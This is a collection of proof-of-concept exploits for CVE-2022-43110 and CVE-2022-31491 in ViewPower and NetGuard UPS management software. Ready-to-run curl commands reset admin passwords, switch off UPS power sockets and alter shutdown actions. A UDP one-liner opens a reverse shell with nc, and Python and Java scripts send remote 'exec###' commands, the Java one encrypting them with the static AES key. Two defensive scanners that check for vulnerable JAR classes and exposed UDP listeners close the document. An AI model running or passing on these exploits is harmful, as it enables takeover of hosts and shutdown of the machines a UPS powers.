# Bash... get your Kali up.  CVE-2022-43110 PoC.  v1.02 across some ViewPower and NetGuard variants
# https://www.ready2disclose.com/vpow-31491-43110/

# Force the admin password on ViewPower to be "haxor123"
curl -X POST -d 'password=haxor123' http://172.16.200.149:15178/ViewPower/login/updatePassword

# Same as above but for old vulnerable version of NetGuard.  Note the url and port difference
curl -X POST -d 'password=haxor123' http://10.1.1.2:15180/NetGuard/login/updatePassword

# List all the connected UPS devices.  Will dump something like:  
#   "name":"USB (id=11A74F29_PMV)". This will give a portName=USB11A74F29 for other commands.
curl -X POST http://192.168.2.163:15180/NetGuard/initDeviceTree 

# Expanding on the above, turn the relevant UPS power sockets off.   Bye bye UPS connected machines.
curl -X POST -d 'portName=USB11A74F29&type=powerCtrlOFF' http://192.168.2.163:15180/NetGuard/control/realTimeCtrl
# Once you run this... if the connected machine is powered by that UPS, then its just GONE :)  No electricity = No computer


# Change the settings around what to do when the UPS loses power.  Note first parameter for command to run "hackthat.bat"
curl -X POST http://172.16.200.149:15178/ViewPower/shutdown/updateLocalShutdown --data-binary $'excuteProgram=hackthat.bat&batModeShutdownTime=0&batModeShutdownSeconds=0&modeShutdown=1&batModeShutdownTime2=7&batModeShutdownSeconds2=0&batCapacity=0&oscmd=&lowBatShutdownUPS=0&shutdownMode=0&shutdownTime=1&excuteProgramTime=4&cancelShutExcute=&beforeAlertTime=2&alertIntervalTime=0'

# Bash... get your Kali up.  CVE-2022-31491 PoC.  v1.02 across ViewPower and variants
# https://www.ready2disclose.com/vpow-31491-43110/


# Make linux victim (172.16.200.134) give a reverse shell back to linux attacker (172.16.200.140)
# My favorite... simple single UDP packet RCE :)
# On attacker, get nc listener ready: nc -nlvp 8080
echo -n "exec### nc -e /bin/bash 172.16.200.140 8080" >/dev/udp/172.16.200.134/33654


# Make a windows victim start notepad using standard UDP port 33654
echo -n "exec### notepad.exe" >/dev/udp/192.168.2.170/33654


# Same as above, but a Pro version on the alternate UDP port 43654
echo -n "exec### notepad.exe" >/dev/udp/192.168.2.170/43654


# Make a victim machine ping something.  For added fun use a canary domain
echo -n "exec### ping 192.168.2.101" >/dev/udp/192.168.2.168/33654

#!/usr/bin/env python3

# CVE-2022-31491 PoC v1.02 across ViewPower and variants
# https://www.ready2disclose.com/vpow-31491-43110/    
    
import socket

# ---- CONFIG ---- Victim IPv6 address
ipv6_address = "fe80::fe2c:3ba2:819e:e11e"
port = 33654      # 43654 for pro version/derivative
message = b"exec### notepad.exe"
    
# ---- CONFIG ---- Attacker interface to use to reach victim
interface = "eth1"       # Local machines interface to send IPv6 packet...
    
# Create IPv6 UDP socket
sock = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)

# Send packet
sock.sendto(message, (ipv6_address, port, 0, socket.if_nametoindex(interface)))
sock.close()
print(f"Sent '{message.decode()}' to [{ipv6_address}]:{port}")
    

// v1.02
// PoC to show attempted encryption fix for CVE-2022-31491 can be circumvented.
//   An attempted fix for CVE-2022-31491 was apparently to encrypt the data transfer.  However the AES key and IV used are known and static.
//   As such this PoC encrypts the data sent to the victim using the known Key and IV.  The victim is instructed to start notepad.exe
//   Just for fun, do a packet capture and see that the payload can also be replayed if you like.
//   https://www.ready2disclose.com/vpow-31491-43110/
// 
// To use/complie:
//   1 : Crank up Kali linux
//   2 : Throw the contents of this into a file called t01.java
//   3 : Make sure your settings for victim etc are correct in void main
//   4 : run it up using command  :  java t01.java


import java.util.Arrays;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;


import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.DatagramPacket;
import java.net.DatagramSocket;
import java.net.InetAddress;
import java.net.Socket;
import java.net.SocketException;
import java.net.UnknownHostException;
import java.util.Arrays;


public class t01 {

  // Oops... the AES key is known and static between installs.  Even better, the IV is the same as this.
  public static byte[] getPublicKey() throws Exception {
    return "VoltronicViPower".getBytes("utf-8");
  }


  public static void send(byte[] bytes, String ipAddress, int port) throws IOException {
    InetAddress inetAddress;
    inetAddress = InetAddress.getByName(ipAddress);
    DatagramSocket ds = null;
    ds = new DatagramSocket();
    ds.setSoTimeout(3000);
    DatagramPacket dp = new DatagramPacket(bytes, bytes.length, inetAddress, port);
    ds.send(dp);
  }

  // Its not pretty, but its how the software wants the data represented.
  public static String encryptWithoutPrivateKey(String msg) {
    String len = (new StringBuilder(String.valueOf(msg.length()))).toString();
    String lenlen = String.valueOf(len.length()) + len;
    msg = String.valueOf(lenlen) + msg;
    int reminder = msg.length() % 16;
    if (reminder != 0)
      for (int i = 0; i < 16 - reminder; i++)
        msg = String.valueOf(msg) + " ";

    try {
      Cipher cipher = Cipher.getInstance("AES/CBC/NoPadding");
      byte[] raw = getPublicKey();
      SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
      byte[] iv = getPublicKey();
      cipher.init(1, skeySpec, new IvParameterSpec(iv));
      byte[] encrypt = cipher.doFinal(msg.getBytes());

      String res = Arrays.toString(encrypt).replace("[", "").replace("]", "").replace(" ", "");
      return res;
    } catch (Exception e) {
      e.printStackTrace();
      return null;
    } 
  }


  // This really isn't needed now the code works, but helped with debugging
  public static String decryptWithoutPrivateKey(String msg) {
    try {
      Cipher cipher = Cipher.getInstance("AES/CBC/NoPadding");
      byte[] raw = getPublicKey();
      SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
      byte[] iv = getPublicKey();
      cipher.init(1, skeySpec, new IvParameterSpec(iv));
      String[] arr = msg.split(",");
      byte[] decode = new byte[arr.length];
      for (int i = 0; i < arr.length; i++)
        decode[i] = Byte.parseByte(arr[i]); 
      cipher.init(2, skeySpec, new IvParameterSpec(iv));
      byte[] decrypt = cipher.doFinal(decode);
      String res = new String(decrypt);
      int lenlen = Integer.parseInt(res.substring(0, 1));
      int len = Integer.parseInt(res.substring(1, 1 + lenlen));
      res = res.substring(lenlen + 1, len + 1 + lenlen);
      return res;
    } catch (Exception e) {
      e.printStackTrace();
      return null;
    } 
  }



  public static void main(String[] args) {
    System.out.println("Starting...");


    // Settings etc...
    String victim = "172.16.200.148";        // The IP address of the victim...
    int port = 33654;                       // Port to use on the Victim...


    // Setup some things...  and go...
    String msg = "exec### notepad.exe";
    System.out.println("msg to send to " + victim +":" + port + "  : " + msg);


    // Encrypt and send it off to the victim...
    String result = "";
    try {
      byte[] requestPRI = encryptWithoutPrivateKey(msg).getBytes();     // Encypt the payload.  Known static key and known static IV are the same.
      send(requestPRI, victim, port);      // Send it off
    } catch (Exception e) {
      e.printStackTrace();
    } 

  }
}

import fnmatch
import os
import sys
import zipfile
import argparse


short_info = "Scan JAR files for known GOOD/BAD relating to CVE-2022-31491 v1.7 \nRun this as admin/root"

pattern = "cn/com/voltronic/sock*"                     # Search all .jar files with .class that match this pattern.

tGOOD = ("SystemTrayUDPServer", "getServer", "127.0.0.1")           
tFAIL = ("SystemTrayUDPServer", "getServer", "0.0.0.0")        


bGOOD = [s.encode("utf-8") for s in tGOOD]
bFAIL = [s.encode("utf-8") for s in tFAIL]




def scan_jars(start_path: str, internal_pattern: str, follow_symlinks: bool) -> int:
    """
    Scan recursively for .jar files and print matches found inside them.

    Returns:
        Total number of matches found.
    """
    total_matches = 0

    for root, _, files in os.walk(start_path):
        for filename in files:

            # We only want files that end in .jar
            if not filename.lower().endswith(".jar"):
                continue

            jar_path = os.path.join(root, filename)

            try:
                # Open up the .jar file as a .zip
                with zipfile.ZipFile(jar_path, "r") as jar:

                    # Look for all the entries that match the internal pattern...
                    for entry_name in jar.namelist():
                        if fnmatch.fnmatch(entry_name, internal_pattern):

                            # This filename matches... lets open/read it...
                            with jar.open(entry_name) as f:
                                #print(f"{jar_path}    {entry_name}")
                                data = f.read()  # bytes

                                if bGOOD:
                                    if all(b in data for b in bGOOD):
                                        print("[ OK ] %s  %s  %s" % (jar_path, entry_name, bGOOD))
                                if bFAIL:
                                    if all(b in data for b in bFAIL):
                                        print("[FAIL] %s  %s  %s" % (jar_path, entry_name, bFAIL))
                                        total_matches += 1

            except zipfile.BadZipFile:
                print(f"Skipping invalid JAR/ZIP: {jar_path}")
            except PermissionError:
                print(f"Permission denied: {jar_path}")
            except OSError as e:
                print(f"Error reading {jar_path}: {e}")

    return total_matches





if __name__ == "__main__":

    
    parser = argparse.ArgumentParser(description=short_info)

    parser.add_argument(
        "--folder",
        required=True,
        help="Folder to scan (eg: C:\\ for windows)"
    )


    parser.add_argument(
        "--follow-symlinks",
        action="store_true",
        help="Follow symbolic links (default: False)"
    )

    if len(sys.argv) == 1:
        parser.print_help()
        sys.exit(1)




    args = parser.parse_args()


    if not os.path.exists(args.folder):
        parser.error(f"Path does not exist: {args.folder}")



    print(f"{short_info}")
    print(f"Scanning: {args.folder}")
    print(f"Pattern: {pattern}")
    print(f"Follow symlinks: {args.follow_symlinks}")
    print("-" * 60)


    results = scan_jars(args.folder, pattern, args.follow_symlinks)
    print("Finished searching %s." % args.folder)
    print("Found %i bad classes." % results)

import fnmatch
import os
import sys
import zipfile
import argparse


short_info = "Scan UDP known GOOD/BAD relating to CVE-2022-31491 v1.6 \nRun this as admin/root"

tGOOD = ("::1", "127.0.0.1", "::ffff:127.0.0.1")      
tFAIL = ("0.0.0.0","::")  
# Anything not caught in the above is considered a WARN      



import psutil

def scan_udp(port):   # returns the number of WARN or FAIL
    found = 0

    for conn in psutil.net_connections(kind='udp'):
        
        if conn.laddr and conn.laddr.port == port:
        
            test = conn.laddr.ip.lower()
            if test in tGOOD:
                res = "GOOD"
            elif test in tFAIL:
                res = "FAIL"
                found += 1
            else:
                res = "WARN"
                found += 1    
        
            print("[%s] %s" % (res, conn.laddr))

    return found




if __name__ == "__main__":

    print(f"{short_info}")
    print("-" * 60)

    results = 0
    results += scan_udp(33654)    # Standard version known port
    results += scan_udp(43654)    # Pro version known port
    
    print("Found %i bad UDP listeners" % results)